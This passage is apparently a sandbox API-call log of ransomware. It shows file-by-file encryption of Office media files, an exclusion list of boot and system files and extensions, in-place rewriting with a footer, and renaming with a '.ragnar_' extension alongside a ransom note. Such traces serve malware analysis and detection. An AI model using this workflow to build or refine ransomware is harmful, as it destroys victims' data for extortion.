(lpString1="BD18253_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="desktop.ini") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="iconcache.db") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="ntldr") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="ntuser.dat") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="ntuser.ini") returned -1 [0097.316] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="thumbs.db") returned -1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.316] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf")) returned 0x20 [0097.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.317] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1708) returned 1 [0097.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.317] GetProcessHeap () returned 0x580000 [0097.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.318] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.329] VirtualAlloc (lpAddress=0x0, dwSize=0x6ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.329] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ac, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6ac, lpOverlapped=0x0) returned 1 [0097.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.329] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.329] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ac, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6ac, lpOverlapped=0x0) returned 1 [0097.329] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.330] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.330] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.330] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.330] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.330] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.330] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.330] GetProcessHeap () returned 0x580000 [0097.330] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.330] CloseHandle (hObject=0xf4) returned 1 [0097.330] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" [0097.330] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.ragnar_FD7BD9FC" [0097.330] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.331] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0097.331] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.331] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18254_.WMF" | out: lpString1="BD18254_.WMF") returned="BD18254_.WMF" [0097.331] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF") returned=".WMF" [0097.331] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.331] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="autorun.inf") returned 1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="boot.ini") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="bootfont.bin") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="bootsect.bak") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="bootmgr") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="bootmgr.efi") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="desktop.ini") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="iconcache.db") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="ntldr") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="ntuser.dat") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="ntuser.ini") returned -1 [0097.332] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="thumbs.db") returned -1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.332] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf")) returned 0x20 [0097.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.333] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1942) returned 1 [0097.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.334] GetProcessHeap () returned 0x580000 [0097.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.334] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.335] VirtualAlloc (lpAddress=0x0, dwSize=0x796, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.335] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x796, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x796, lpOverlapped=0x0) returned 1 [0097.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.336] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x796, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.336] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x796, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x796, lpOverlapped=0x0) returned 1 [0097.336] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x796, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.336] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x796, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.336] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.336] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.336] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.336] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.336] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.337] GetProcessHeap () returned 0x580000 [0097.337] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.337] CloseHandle (hObject=0xf4) returned 1 [0097.337] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" [0097.337] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.ragnar_FD7BD9FC" [0097.337] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.337] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0097.337] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.338] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18255_.WMF" | out: lpString1="BD18255_.WMF") returned="BD18255_.WMF" [0097.338] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF") returned=".WMF" [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="autorun.inf") returned 1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="boot.ini") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="bootfont.bin") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="bootsect.bak") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="bootmgr") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="bootmgr.efi") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="desktop.ini") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="iconcache.db") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="ntldr") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="ntuser.dat") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="ntuser.ini") returned -1 [0097.338] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="thumbs.db") returned -1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.338] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf")) returned 0x20 [0097.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.339] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2082) returned 1 [0097.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x819, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.339] GetProcessHeap () returned 0x580000 [0097.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.339] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.340] VirtualAlloc (lpAddress=0x0, dwSize=0x822, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.340] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x822, lpOverlapped=0x0) returned 1 [0097.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x822, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.341] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x822, lpOverlapped=0x0) returned 1 [0097.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x822, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.341] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x822, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.341] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.341] GetProcessHeap () returned 0x580000 [0097.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.342] CloseHandle (hObject=0xf4) returned 1 [0097.342] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" [0097.342] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.ragnar_FD7BD9FC" [0097.342] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.342] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0097.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.342] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18256_.WMF" | out: lpString1="BD18256_.WMF") returned="BD18256_.WMF" [0097.342] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF") returned=".WMF" [0097.342] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.342] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="autorun.inf") returned 1 [0097.342] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="boot.ini") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="bootfont.bin") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="bootsect.bak") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="bootmgr") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="bootmgr.efi") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="desktop.ini") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="iconcache.db") returned -1 [0097.343] 